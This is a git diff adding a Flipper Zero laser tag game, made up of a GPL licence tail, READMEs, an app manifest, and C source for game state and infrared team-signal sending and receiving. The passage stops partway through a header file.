RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/laser_tag/README.md b/laser_tag/README.md new file mode 100644 index 00000000000..bab527826d8 --- /dev/null +++ b/laser_tag/README.md @@ -0,0 +1,34 @@ +# Flipper-Zero-Laser-Tag + +## 🚀 Flipper Zero Laser Tag - Team based + +Flipper Zero Laser Tag brings your favorite laser tag experience to your Flipper Zero device! Whether you’re battling friends or just practicing your aim, this open-source project lets you dominate the laser tag arena with just your Flipper Zero. + +### ⚡ Key Features: + +- **Team Battles**: Choose your team and face off in epic Red vs. Blue laser battles. +- **Real-Time Gameplay**: Smooth and responsive laser firing and hit detection. +- **Immersive Sound**: Laser firing and game-over sounds to enhance your battlefield experience. +- **Dynamic Health and Ammo Bars**: Keep track of your health and ammo with clean, dynamic UI elements. +- **Vibration Feedback**: Feel every hit with integrated vibration feedback. + +## 📸 Screenshots + +![Screenshot-20240823-224628](https://github.com/user-attachments/assets/5836ee25-23ce-4845-b342-2b360e32e341) +![Screenshot-20240823-224637](https://github.com/user-attachments/assets/119e8e80-49fc-421a-bc61-ec7185d05bc0) +![Screenshot-20240823-224640](https://github.com/user-attachments/assets/7a9bdb69-42fe-48d7-9e5f-7616e2f68d10) +![Screenshot-20240823-224647](https://github.com/user-attachments/assets/d5e10e1b-64a5-4a72-a624-2cfe2237add5) + +## 🕹️ How to Play + +1. **Select Your Team**: Use the Left or Right button to choose between Red or Blue team. +2. **Fire Your Laser**: Press the OK button to shoot your laser at your opponents. +3. **Reload**: When your ammo runs out, press 'Down' to reload and get back into action. +4. **Survive**: Track your health, and make sure to avoid getting hit by your opponents' lasers. If your health reaches zero, it's game over! + +## 🤔 ToDo: + +- Allow RFID tags to be scanned with Flipper to add health or other powerups so they can be placed around the play field. +- Possibly tap teammates Flipper to increase their health. + +![rocketgod_logo](https://github.com/RocketGod-git/shodanbot/assets/57732082/7929b554-0fba-4c2b-b22d-6772d23c4a18) diff --git a/laser_tag/application.fam b/laser_tag/application.fam new file mode 100644 index 00000000000..5c7625baf76 --- /dev/null +++ b/laser_tag/application.fam @@ -0,0 +1,20 @@ +App( + appid="laser_tag", + name="Laser Tag", + apptype=FlipperAppType.EXTERNAL, + entry_point="laser_tag_app", + cdefines=["APP_LASER_TAG"], + fap_category="Games", + fap_author="@RocketGod-git & @jamisonderek", + fap_version="1.1", + fap_description="Laser Tag game for Flipper Zero", + fap_icon="icons/laser_tag_10px.png", + fap_libs=["assets"], + fap_weburl="https://github.com/RocketGod-Git/Flipper-Zero-Laser-Tag", + requires=[ + "gui", + "infrared", + ], + stack_size=2 * 1024, + order=10, +) diff --git a/laser_tag/docs/CHANGELOG.md b/laser_tag/docs/CHANGELOG.md new file mode 100644 index 00000000000..726b8c93e8d --- /dev/null +++ b/laser_tag/docs/CHANGELOG.md @@ -0,0 +1,8 @@ +## v1.1 + +- Update app icon + + +## v1.0 + +- Initial release. diff --git a/laser_tag/docs/README.md b/laser_tag/docs/README.md new file mode 100644 index 00000000000..fa0803e0104 --- /dev/null +++ b/laser_tag/docs/README.md @@ -0,0 +1,25 @@ +# Flipper-Zero-Laser-Tag + +## Laser Tag for Flipper Zero - Team Based! + +Flipper Zero Laser Tag brings your favorite laser tag experience to your Flipper Zero device! Whether you’re battling friends or just practicing your aim, this open-source project lets you dominate the laser tag arena with just your Flipper Zero. + +## Key Features: + +- **Team Battles**: Choose your team and face off in epic Red vs. Blue laser battles. +- **Real-Time Gameplay**: Smooth and responsive laser firing and hit detection. +- **Immersive Sound**: Laser firing and game-over sounds to enhance your battlefield experience. +- **Dynamic Health and Ammo Bars**: Keep track of your health and ammo with clean, dynamic UI elements. +- **Vibration Feedback**: Feel every hit with integrated vibration feedback. + +## How to Play + +1. **Select Your Team**: Use the Left or Right button to choose between Red or Blue team. +2. **Fire Your Laser**: Press the OK button to shoot your laser at your opponents. +3. **Reload**: When your ammo runs out, press 'Down' to reload and get back into action. +4. **Survive**: Track your health, and make sure to avoid getting hit by your opponents' lasers. If your health reaches zero, it's game over! + +## ToDo: + +- Allow RFID tags to be scanned with Flipper to add health or other powerups so they can be placed around the play field. +- Possibly tap teammates Flipper to increase their health. diff --git a/laser_tag/game_state.c b/laser_tag/game_state.c new file mode 100644 index 00000000000..5a1ff4ee672 --- /dev/null +++ b/laser_tag/game_state.c @@ -0,0 +1,113 @@ +#include "game_state.h" +#include +#include + +struct GameState { + LaserTagTeam team; + uint8_t health; + uint16_t ammo; + uint32_t game_time; + bool game_over; +}; + +GameState* game_state_alloc() { + GameState* state = malloc(sizeof(GameState)); + if(!state) { + FURI_LOG_E("GameState", "Failed to allocate GameState"); + return NULL; + } + state->team = TeamRed; + state->health = INITIAL_HEALTH; + state->ammo = INITIAL_AMMO; + state->game_time = 0; + state->game_over = false; + FURI_LOG_I("GameState", "GameState allocated successfully"); + return state; +} + +void game_state_reset(GameState* state) { + furi_assert(state); + state->health = INITIAL_HEALTH; + state->ammo = INITIAL_AMMO; + state->game_time = 0; + state->game_over = false; + FURI_LOG_I("GameState", "GameState reset"); +} + +void game_state_set_team(GameState* state, LaserTagTeam team) { + furi_assert(state); + state->team = team; + FURI_LOG_I("GameState", "Team set to %s", (team == TeamRed) ? "Red" : "Blue"); +} + +LaserTagTeam game_state_get_team(GameState* state) { + furi_assert(state); + return state->team; +} + +void game_state_decrease_health(GameState* state, uint8_t amount) { + furi_assert(state); + if(state->health > amount) { + state->health -= amount; + } else { + state->health = 0; + state->game_over = true; + FURI_LOG_W("GameState", "Health depleted, game over"); + } + FURI_LOG_I("GameState", "Health decreased to %d", state->health); +} + +void game_state_increase_health(GameState* state, uint8_t amount) { + furi_assert(state); + state->health = (state->health + amount > MAX_HEALTH) ? MAX_HEALTH : state->health + amount; + FURI_LOG_I("GameState", "Health increased to %d", state->health); +} + +uint8_t game_state_get_health(GameState* state) { + furi_assert(state); + return state->health; +} + +void game_state_decrease_ammo(GameState* state, uint16_t amount) { + furi_assert(state); + if(state->ammo > amount) { + state->ammo -= amount; + } else { + state->ammo = 0; + FURI_LOG_W("GameState", "Ammo depleted"); + } + FURI_LOG_I("GameState", "Ammo decreased to %d", state->ammo); +} + +void game_state_increase_ammo(GameState* state, uint16_t amount) { + furi_assert(state); + state->ammo += amount; + FURI_LOG_I("GameState", "Ammo increased to %d", state->ammo); +} + +uint16_t game_state_get_ammo(GameState* state) { + furi_assert(state); + return state->ammo; +} + +void game_state_update_time(GameState* state, uint32_t delta_time) { + furi_assert(state); + state->game_time += delta_time; + FURI_LOG_I("GameState", "Game time updated to %ld seconds", state->game_time); +} + +uint32_t game_state_get_time(GameState* state) { + furi_assert(state); + return state->game_time; +} + +bool game_state_is_game_over(GameState* state) { + furi_assert(state); + return state->game_over; +} + +void game_state_set_game_over(GameState* state, bool game_over) { + furi_assert(state); + state->game_over = game_over; + FURI_LOG_I("GameState", "Game over status set to %s", game_over ? "true" : "false"); +} diff --git a/laser_tag/game_state.h b/laser_tag/game_state.h new file mode 100644 index 00000000000..0ab5b2b42eb --- /dev/null +++ b/laser_tag/game_state.h @@ -0,0 +1,42 @@ +#pragma once + +#include +#include + +typedef enum { + TeamRed, + TeamBlue +} LaserTagTeam; + +typedef enum { + LaserTagStateSplashScreen, + LaserTagStateTeamSelect, + LaserTagStateGame, + LaserTagStateGameOver, +} LaserTagState; + +typedef struct GameState GameState; + +GameState* game_state_alloc(); +void game_state_reset(GameState* state); + +void game_state_set_team(GameState* state, LaserTagTeam team); +LaserTagTeam game_state_get_team(GameState* state); + +void game_state_decrease_health(GameState* state, uint8_t amount); +void game_state_increase_health(GameState* state, uint8_t amount); +uint8_t game_state_get_health(GameState* state); + +void game_state_decrease_ammo(GameState* state, uint16_t amount); +void game_state_increase_ammo(GameState* state, uint16_t amount); +uint16_t game_state_get_ammo(GameState* state); + +void game_state_update_time(GameState* state, uint32_t delta_time); +uint32_t game_state_get_time(GameState* state); + +bool game_state_is_game_over(GameState* state); +void game_state_set_game_over(GameState* state, bool game_over); + +#define INITIAL_HEALTH 100 +#define INITIAL_AMMO 100 +#define MAX_HEALTH 100 diff --git a/laser_tag/icons/laser_tag_10px.png b/laser_tag/icons/laser_tag_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..2a5f7c2cca00deb624fa01007a148fc567566511 GIT binary patch literal 4409 zcmeHKd2AF_7@y+BR@$gE<&c`m)}t6^=h)fZnW5WCcYADgVbd<9C4#)2dAl9iomqFL z-EFBh5|DtRRE<%oMidevilPv$mDExZ3^5$>i1k1yYKaFi#B!8<=02lRYyV!>}A*mA3}<#yER2YOt*h8vyD)Yz@}yH6V${6KYtF zLR@c&LmZ~$Fovc2V}W_OefX5_)9c(>$Mg1RgZ;h>y)Ty59(ncknU(>r!(#dA)CJ2M zw>-%X2IqXyS?JkTC*PW1xihEs)0~5g50b51cA4dUy5_*QJwKhKrY|boIKN_OXipmv zY-;bGan3V1)$;N2iqF>LuWb1GrE{CR7W3_3>3}2Jc_<5>F1hE|u6#v(uBc2ZFS~V; zaP3{CGY?fgR#X&yZ2yV1u_Z_EI9B%J(9X)US4CzwG!I@=go4Ym${tU^=kbihgQDns zVM9-KUm)+J_Vq89|Gb&o>Um^)!6zraE1ibo68l{ ztSGrpu7B`k{Tt`IN)J}&P1~ezs_vUZZrVW({Q$!adw=-l&GtDD-O%0PEBx)LcMG1| z|JFCZY?Sij;R@LwB z3Rf%M)tzmRdp#XW?Nje8`TqB(nP>I|mpYH-7B1Mh=Fg+2c0F*Blb zj4%(Mscc-oY+%Oc+n2xfe9zH3`@ll`#kPTI`If+nioP4Z!LZzgGRl6v{~ke9V>TeE zA!tj*;zoI3#igk@5SK$855b76xUHwUd#t!Dxvh&Fe##&Bz(%>MH34f|=Lf~s zXhC#{$Qr1rO$iZ}H$z1)%!H7{QTupPB5H;si6o4|7*f^HuJo8KD}DaJsD(j6M2^Kx zD@67fOtv&bu5e#d2w{O~g8w&`>QJs5E7>v!=O`7y*TYs0Bu)A^=m4q7gg^ z2y`_ORMn{4YCzzI<>;~>9ViLtzzcMUKq-b5C{AEpLCPu6c7bA1$O4t2uS#;b<=?c8 zzT96a!C-tV49#35fv`!2+5hcrGLo3=LVk-3dg-6&j1KsbM_{5^!Dw@rbxW1!{7I z7Y(Os_E`O7BQ)}WC?hD2V4Ok36l)h~+Dcye@Ypa#F*FK~#%`w4`O|W=0o1IeOC%^JUzrSMWDn zW>;_r1U<3IxcHr*Yl5zEF)%LWiRzl5Yg`PBOL?NY{x`a^FTE9^g8two(M$04s)o1G zE7B6LYS1w3`l-g3g+1Rn9SN_~eg5+61}EQ~lXGKT4E}*cEk5tO;N*fV1?#worWkh7 z?6Qmz`i$NfA*m@xjiGQ6%QC0t>LjxrZblU{%*KMH5ismRN&asS+;;CvhM})~zIS`s HvXy@W#CH8z literal 0 HcmV?d00001 diff --git a/laser_tag/infrared_controller.c b/laser_tag/infrared_controller.c new file mode 100644 index 00000000000..5086b6e75b9 --- /dev/null +++ b/laser_tag/infrared_controller.c @@ -0,0 +1,205 @@ +#include "infrared_controller.h" +#include +#include +#include +#include + +#define TAG "InfraredController" + +const NotificationSequence sequence_hit = { + &message_vibro_on, + &message_note_d4, + &message_delay_1000, + &message_vibro_off, + &message_sound_off, + NULL, +}; + +struct InfraredController { + LaserTagTeam team; + InfraredWorker* worker; + bool worker_rx_active; + InfraredSignal* signal; + NotificationApp* notification; + bool hit_received; + bool processing_signal; +}; + +static void infrared_rx_callback(void* context, InfraredWorkerSignal* received_signal) { + FURI_LOG_I(TAG, "RX callback triggered"); + + InfraredController* controller = (InfraredController*)context; + if(controller->processing_signal) { + FURI_LOG_W(TAG, "Already processing a signal, skipping callback"); + return; + } + + controller->processing_signal = true; + + if(!received_signal) { + FURI_LOG_E(TAG, "Received signal is NULL"); + controller->processing_signal = false; + return; + } + + const InfraredMessage* message = infrared_worker_get_decoded_signal(received_signal); + FURI_LOG_I(TAG, "Received signal - signal address: %p", (void*)received_signal); + + if(message) { + FURI_LOG_I( + TAG, + "Received message: protocol=%d, address=0x%lx, command=0x%lx", + message->protocol, + (unsigned long)message->address, + (unsigned long)message->command); + + if((controller->team == TeamRed && message->command == IR_COMMAND_BLUE_TEAM) || + (controller->team == TeamBlue && message->command == IR_COMMAND_RED_TEAM)) { + controller->hit_received = true; + FURI_LOG_I( + TAG, "Hit detected for team: %s", controller->team == TeamRed ? "Red" : "Blue"); + notification_message_block(controller->notification, &sequence_hit); + } + } else { + FURI_LOG_W(TAG, "RX callback received NULL message"); + } + + FURI_LOG_I(TAG, "RX callback completed"); + controller->processing_signal = false; +} + +InfraredController* infrared_controller_alloc() { + FURI_LOG_I(TAG, "Allocating InfraredController"); + + InfraredController* controller = malloc(sizeof(InfraredController)); + if(!controller) { + FURI_LOG_E(TAG, "Failed to allocate InfraredController"); + return NULL; + } + + controller->team = TeamRed; + controller->worker = infrared_worker_alloc(); + controller->signal = infrared_signal_alloc(); + controller->notification = furi_record_open(RECORD_NOTIFICATION); + controller->hit_received = false; + controller->processing_signal = false; + + if(controller->worker && controller->signal && controller->notification) { + FURI_LOG_I( + TAG, "InfraredWorker, InfraredSignal, and NotificationApp allocated successfully"); + } else { + FURI_LOG_E(TAG, "Failed to allocate resources"); + free(controller); + return NULL; + } + + FURI_LOG_I(TAG, "Setting up RX callback"); + infrared_worker_rx_set_received_signal_callback( + controller->worker, infrared_rx_callback, controller); + + FURI_LOG_I(TAG, "InfraredController allocated successfully"); + return controller; +} + +void infrared_controller_free(InfraredController* controller) { + FURI_LOG_I(TAG, "Freeing InfraredController"); + + if(controller) { + if(controller->worker_rx_active) { + FURI_LOG_I(TAG, "Stopping RX worker"); + infrared_worker_rx_stop(controller->worker); + } + + FURI_LOG_I(TAG, "Freeing InfraredWorker and InfraredSignal"); + infrared_worker_free(controller->worker); + infrared_signal_free(controller->signal); + + FURI_LOG_I(TAG, "Closing NotificationApp"); + furi_record_close(RECORD_NOTIFICATION); + + free(controller); + + FURI_LOG_I(TAG, "InfraredController freed successfully"); + } else { + FURI_LOG_W(TAG, "Attempted to free NULL InfraredController"); + } +} + +void infrared_controller_set_team(InfraredController* controller, LaserTagTeam team) { + FURI_LOG_I(TAG, "Setting team to %s", team == TeamRed ? "Red" : "Blue"); + controller->team = team; +} + +void infrared_controller_send(InfraredController* controller) { + FURI_LOG_I(TAG, "Preparing to send infrared signal"); + + InfraredMessage message = { + .protocol = InfraredProtocolNEC, + .address = 0x42, + .command = (controller->team == TeamRed) ? IR_COMMAND_RED_TEAM : IR_COMMAND_BLUE_TEAM}; + + FURI_LOG_I( + TAG, + "Prepared message: protocol=%d, address=0x%lx, command=0x%lx", + message.protocol, + (unsigned long)message.address, + (unsigned long)message.command); + + if(controller->worker_rx_active) { + FURI_LOG_I(TAG, "Stopping RX worker"); + infrared_worker_rx_stop(controller->worker); + controller->worker_rx_active = false; + } + + FURI_LOG_I(TAG, "Setting message for infrared signal"); + infrared_signal_set_message(controller->signal, &message); + + FURI_LOG_I(TAG, "Starting infrared signal transmission"); + infrared_signal_transmit(controller->signal); + + if(!controller->worker_rx_active) { + infrared_worker_rx_start(controller->worker); + controller->worker_rx_active = true; + } + + FURI_LOG_I(TAG, "Infrared signal transmission completed"); +} + +bool infrared_controller_receive(InfraredController* controller) { + FURI_LOG_I(TAG, "Starting infrared signal reception"); + + if(controller->processing_signal) { + FURI_LOG_W(TAG, "Cannot start reception, another signal is still being processed"); + return false; + } + + if(!controller->worker_rx_active) { + infrared_worker_rx_start(controller->worker); + controller->worker_rx_active = true; + furi_delay_ms(250); + } + + bool hit = controller->hit_received; + + FURI_LOG_I(TAG, "Signal reception complete, hit received: %s", hit ? "true" : "false"); + + controller->hit_received = false; + + return hit; +} + +void infrared_controller_pause(InfraredController* controller) { + if(controller->worker_rx_active) { + FURI_LOG_I(TAG, "Stopping RX worker"); + infrared_worker_rx_stop(controller->worker); + controller->worker_rx_active = false; + } +} + +void infrared_controller_resume(InfraredController* controller) { + if(!controller->worker_rx_active) { + FURI_LOG_I(TAG, "Starting RX worker"); + infrared_worker_rx_start(controller->worker); + controller->worker_rx_active = true; + } +} diff --git a/laser_tag/infrared_controller.h b/laser_tag/infrared_controller.h new file mode 100644 index 00000000000..7ef59077f11 --- /dev/null +++ b/laser_tag/infrared_controller.h @@ -0,0 +1,17 @@ +#pragma once + +#include +#include "game_state.h" + +typedef struct InfraredController InfraredController; + +InfraredController* infrared_controller_alloc(); +void infrared_controller_free(InfraredController* controller); +void infrared_controller_set_team(InfraredController* controller, LaserTagTeam team); +void infrared_controller_send(InfraredController* controller); +bool infrared_controller_receive(InfraredController* controller); +void infrared_controller_pause(InfraredController* controller); +void infrared_controller_resume(InfraredController* controller); + +#define IR_COMMAND_RED_TEAM 0xA1 +#define IR_COMMAND_BLUE_TEAM 0xB2 diff --git a/laser_tag/infrared_signal.c b/laser_tag/infrared_signal.c new file mode 100644 index 00000000000..895d43be265 --- /dev/null +++ b/laser_tag/infrared_signal.c @@ -0,0 +1,350 @@ +#include "infrared_signal.h" + +#include +#include +#include +#include +#include + +#define TAG "InfraredSignal" + +// Common keys +#define INFRARED_SIGNAL_NAME_KEY "name" +#define INFRARED_SIGNAL_TYPE_KEY "type" + +// Type key values +#define INFRARED_SIGNAL_TYPE_RAW "raw" +#define INFRARED_SIGNAL_TYPE_PARSED "parsed" + +// Raw signal keys +#define INFRARED_SIGNAL_DATA_KEY "data" +#define INFRARED_SIGNAL_FREQUENCY_KEY "frequency" +#define INFRARED_SIGNAL_DUTY_CYCLE_KEY "duty_cycle" + +// Parsed signal keys +#define INFRARED_SIGNAL_PROTOCOL_KEY "protocol" +#define INFRARED_SIGNAL_ADDRESS_KEY "address" +#define INFRARED_SIGNAL_COMMAND_KEY "command" + +struct InfraredSignal { + bool is_raw; + union { + InfraredMessage message; + InfraredRawSignal raw; + } payload; +}; + +static void infrared_signal_clear_timings(InfraredSignal* signal) { + if(signal->is_raw) { + free(signal->payload.raw.timings); + signal->payload.raw.timings_size = 0; + signal->payload.raw.timings = NULL; + } +} + +static bool infrared_signal_is_message_valid(const InfraredMessage* message) { + if(!infrared_is_protocol_valid(message->protocol)) { + FURI_LOG_E(TAG, "Unknown protocol"); + return false; + } + + uint32_t address_length = infrared_get_protocol_address_length(message->protocol); + uint32_t address_mask = (1UL << address_length) - 1; + + if(message->address != (message->address & address_mask)) { + FURI_LOG_E( + TAG, + "Address is out of range (mask 0x%08lX): 0x%lX\r\n", + address_mask, + message->address); + return false; + } + + uint32_t command_length = infrared_get_protocol_command_length(message->protocol); + uint32_t command_mask = (1UL << command_length) - 1; + + if(message->command != (message->command & command_mask)) { + FURI_LOG_E( + TAG, + "Command is out of range (mask 0x%08lX): 0x%lX\r\n", + command_mask, + message->command); + return false; + } + + return true; +} + +static bool infrared_signal_is_raw_valid(const InfraredRawSignal* raw) { + if((raw->frequency > INFRARED_MAX_FREQUENCY) || (raw->frequency < INFRARED_MIN_FREQUENCY)) { + FURI_LOG_E( + TAG, + "Frequency is out of range (%X - %X): %lX", + INFRARED_MIN_FREQUENCY, + INFRARED_MAX_FREQUENCY, + raw->frequency); + return false; + + } else if((raw->duty_cycle <= 0) || (raw->duty_cycle > 1)) { + FURI_LOG_E(TAG, "Duty cycle is out of range (0 - 1): %f", (double)raw->duty_cycle); + return false; + + } else if((raw->timings_size <= 0) || (raw->timings_size > MAX_TIMINGS_AMOUNT)) { + FURI_LOG_E( + TAG, + "Timings amount is out of range (0 - %X): %zX", + MAX_TIMINGS_AMOUNT, + raw->timings_size); + return false; + } + + return true; +} + +static inline bool + infrared_signal_save_message(const InfraredMessage* message, FlipperFormat* ff) { + const char* protocol_name = infrared_get_protocol_name(message->protocol); + return flipper_format_write_string_cstr( + ff, INFRARED_SIGNAL_TYPE_KEY, INFRARED_SIGNAL_TYPE_PARSED) && + flipper_format_write_string_cstr(ff, INFRARED_SIGNAL_PROTOCOL_KEY, protocol_name) && + flipper_format_write_hex( + ff, INFRARED_SIGNAL_ADDRESS_KEY, (uint8_t*)&message->address, 4) && + flipper_format_write_hex( + ff, INFRARED_SIGNAL_COMMAND_KEY, (uint8_t*)&message->command, 4); +} + +static inline bool infrared_signal_save_raw(const InfraredRawSignal* raw, FlipperFormat* ff) { + furi_assert(raw->timings_size <= MAX_TIMINGS_AMOUNT); + return flipper_format_write_string_cstr( + ff, INFRARED_SIGNAL_TYPE_KEY, INFRARED_SIGNAL_TYPE_RAW) && + flipper_format_write_uint32(ff, INFRARED_SIGNAL_FREQUENCY_KEY, &raw->frequency, 1) && + flipper_format_write_float(ff, INFRARED_SIGNAL_DUTY_CYCLE_KEY, &raw->duty_cycle, 1) && + flipper_format_write_uint32( + ff, INFRARED_SIGNAL_DATA_KEY, raw->timings, raw->timings_size); +} + +static inline bool infrared_signal_read_message(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* buf; + buf = furi_string_alloc(); + bool success = false; + + do { + if(!flipper_format_read_string(ff, INFRARED_SIGNAL_PROTOCOL_KEY, buf)) break; + + InfraredMessage message; + message.protocol = infrared_get_protocol_by_name(furi_string_get_cstr(buf)); + + if(!flipper_format_read_hex(ff, INFRARED_SIGNAL_ADDRESS_KEY, (uint8_t*)&message.address, 4)) + break; + if(!flipper_format_read_hex(ff, INFRARED_SIGNAL_COMMAND_KEY, (uint8_t*)&message.command, 4)) + break; + if(!infrared_signal_is_message_valid(&message)) break; + + infrared_signal_set_message(signal, &message); + success = true; + } while(false); + + furi_string_free(buf); + return success; +} + +static inline bool infrared_signal_read_raw(InfraredSignal* signal, FlipperFormat* ff) { + bool success = false; + + do { + uint32_t frequency; + if(!flipper_format_read_uint32(ff, INFRARED_SIGNAL_FREQUENCY_KEY, &frequency, 1)) break; + + float duty_cycle; + if(!flipper_format_read_float(ff, INFRARED_SIGNAL_DUTY_CYCLE_KEY, &duty_cycle, 1)) break; + + uint32_t timings_size; + if(!flipper_format_get_value_count(ff, INFRARED_SIGNAL_DATA_KEY, &timings_size)) break; + + if(timings_size > MAX_TIMINGS_AMOUNT) break; + + uint32_t* timings = malloc(sizeof(uint32_t) * timings_size); + if(!flipper_format_read_uint32(ff, INFRARED_SIGNAL_DATA_KEY, timings, timings_size)) { + free(timings); + break; + } + infrared_signal_set_raw_signal(signal, timings, timings_size, frequency, duty_cycle); + free(timings); + + success = true; + } while(false); + + return success; +} + +bool infrared_signal_read_body(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* tmp = furi_string_alloc(); + + bool success = false; + + do { + if(!flipper_format_read_string(ff, INFRARED_SIGNAL_TYPE_KEY, tmp)) break; + + if(furi_string_equal(tmp, INFRARED_SIGNAL_TYPE_RAW)) { + if(!infrared_signal_read_raw(signal, ff)) break; + } else if(furi_string_equal(tmp, INFRARED_SIGNAL_TYPE_PARSED)) { + if(!infrared_signal_read_message(signal, ff)) break; + } else { + FURI_LOG_E(TAG, "Unknown signal type: %s", furi_string_get_cstr(tmp)); + break; + } + + success = true; + } while(false); + + furi_string_free(tmp); + return success; +} + +InfraredSignal* infrared_signal_alloc() { + InfraredSignal* signal = malloc(sizeof(InfraredSignal)); + + signal->is_raw = false; + signal->payload.message.protocol = InfraredProtocolUnknown; + + return signal; +} + +void infrared_signal_free(InfraredSignal* signal) { + infrared_signal_clear_timings(signal); + free(signal); +} + +bool infrared_signal_is_raw(const InfraredSignal* signal) { + return signal->is_raw; +} + +bool infrared_signal_is_valid(const InfraredSignal* signal) { + return signal->is_raw ? infrared_signal_is_raw_valid(&signal->payload.raw) : + infrared_signal_is_message_valid(&signal->payload.message); +} + +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other) { + if(other->is_raw) { + const InfraredRawSignal* raw = &other->payload.raw; + infrared_signal_set_raw_signal( + signal, raw->timings, raw->timings_size, raw->frequency, raw->duty_cycle); + } else { + const InfraredMessage* message = &other->payload.message; + infrared_signal_set_message(signal, message); + } +} + +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle) { + infrared_signal_clear_timings(signal); + + signal->is_raw = true; + + signal->payload.raw.timings_size = timings_size; + signal->payload.raw.frequency = frequency; + signal->payload.raw.duty_cycle = duty_cycle; + + signal->payload.raw.timings = malloc(timings_size * sizeof(uint32_t)); + memcpy(signal->payload.raw.timings, timings, timings_size * sizeof(uint32_t)); +} + +const InfraredRawSignal* infrared_signal_get_raw_signal(const InfraredSignal* signal) { + furi_assert(signal->is_raw); + return &signal->payload.raw; +} + +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message) { + infrared_signal_clear_timings(signal); + + signal->is_raw = false; + signal->payload.message = *message; +} + +const InfraredMessage* infrared_signal_get_message(const InfraredSignal* signal) { + furi_assert(!signal->is_raw); + return &signal->payload.message; +} + +bool infrared_signal_save(const InfraredSignal* signal, FlipperFormat* ff, const char* name) { + if(!flipper_format_write_comment_cstr(ff, "") || + !flipper_format_write_string_cstr(ff, INFRARED_SIGNAL_NAME_KEY, name)) { + return false; + } else if(signal->is_raw) { + return infrared_signal_save_raw(&signal->payload.raw, ff); + } else { + return infrared_signal_save_message(&signal->payload.message, ff); + } +} + +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name) { + bool success = false; + + do { + if(!infrared_signal_read_name(ff, name)) break; + if(!infrared_signal_read_body(signal, ff)) break; + + success = true; //-V779 + } while(false); + + return success; +} + +bool infrared_signal_read_name(FlipperFormat* ff, FuriString* name) { + return flipper_format_read_string(ff, INFRARED_SIGNAL_NAME_KEY, name); +} + +bool infrared_signal_search_by_name_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const char* name) { + bool success = false; + FuriString* tmp = furi_string_alloc(); + + while(infrared_signal_read_name(ff, tmp)) { + if(furi_string_equal(tmp, name)) { + success = infrared_signal_read_body(signal, ff); + break; + } + } + + furi_string_free(tmp); + return success; +} + +bool infrared_signal_search_by_index_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + size_t index) { + bool success = false; + FuriString* tmp = furi_string_alloc(); + + for(uint32_t i = 0; infrared_signal_read_name(ff, tmp); ++i) { + if(i == index) { + success = infrared_signal_read_body(signal, ff); + break; + } + } + + furi_string_free(tmp); + return success; +} + +void infrared_signal_transmit(const InfraredSignal* signal) { + if(signal->is_raw) { + const InfraredRawSignal* raw_signal = &signal->payload.raw; + infrared_send_raw_ext( + raw_signal->timings, + raw_signal->timings_size, + true, + raw_signal->frequency, + raw_signal->duty_cycle); + } else { + const InfraredMessage* message = &signal->payload.message; + infrared_send(message, 1); + } +} diff --git a/laser_tag/infrared_signal.h b/laser_tag/infrared_signal.h new file mode 100644 index 00000000000..69b677f2376 --- /dev/null +++ b/laser_tag/infrared_signal.h @@ -0,0 +1,216 @@ +/** + * @file infrared_signal.h + * @brief Infrared signal library. + * + * Infrared signals may be of two types: + * - known to the infrared signal decoder, or *parsed* signals + * - the rest, or *raw* signals, which are treated merely as a set of timings. + */ +#pragma once + +#include +#include + +/** + * @brief InfraredSignal opaque type declaration. + */ +typedef struct InfraredSignal InfraredSignal; + +/** + * @brief Raw signal type definition. + * + * Measurement units used: + * - time: microseconds (uS) + * - frequency: Hertz (Hz) + * - duty_cycle: no units, fraction between 0 and 1. + */ +typedef struct { + size_t timings_size; /**< Number of elements in the timings array. */ + uint32_t* timings; /**< Pointer to an array of timings describing the signal. */ + uint32_t frequency; /**< Carrier frequency of the signal. */ + float duty_cycle; /**< Duty cycle of the signal. */ +} InfraredRawSignal; + +/** + * @brief Create a new InfraredSignal instance. + * + * @returns pointer to the instance created. + */ +InfraredSignal* infrared_signal_alloc(); + +/** + * @brief Delete an InfraredSignal instance. + * + * @param[in,out] signal pointer to the instance to be deleted. + */ 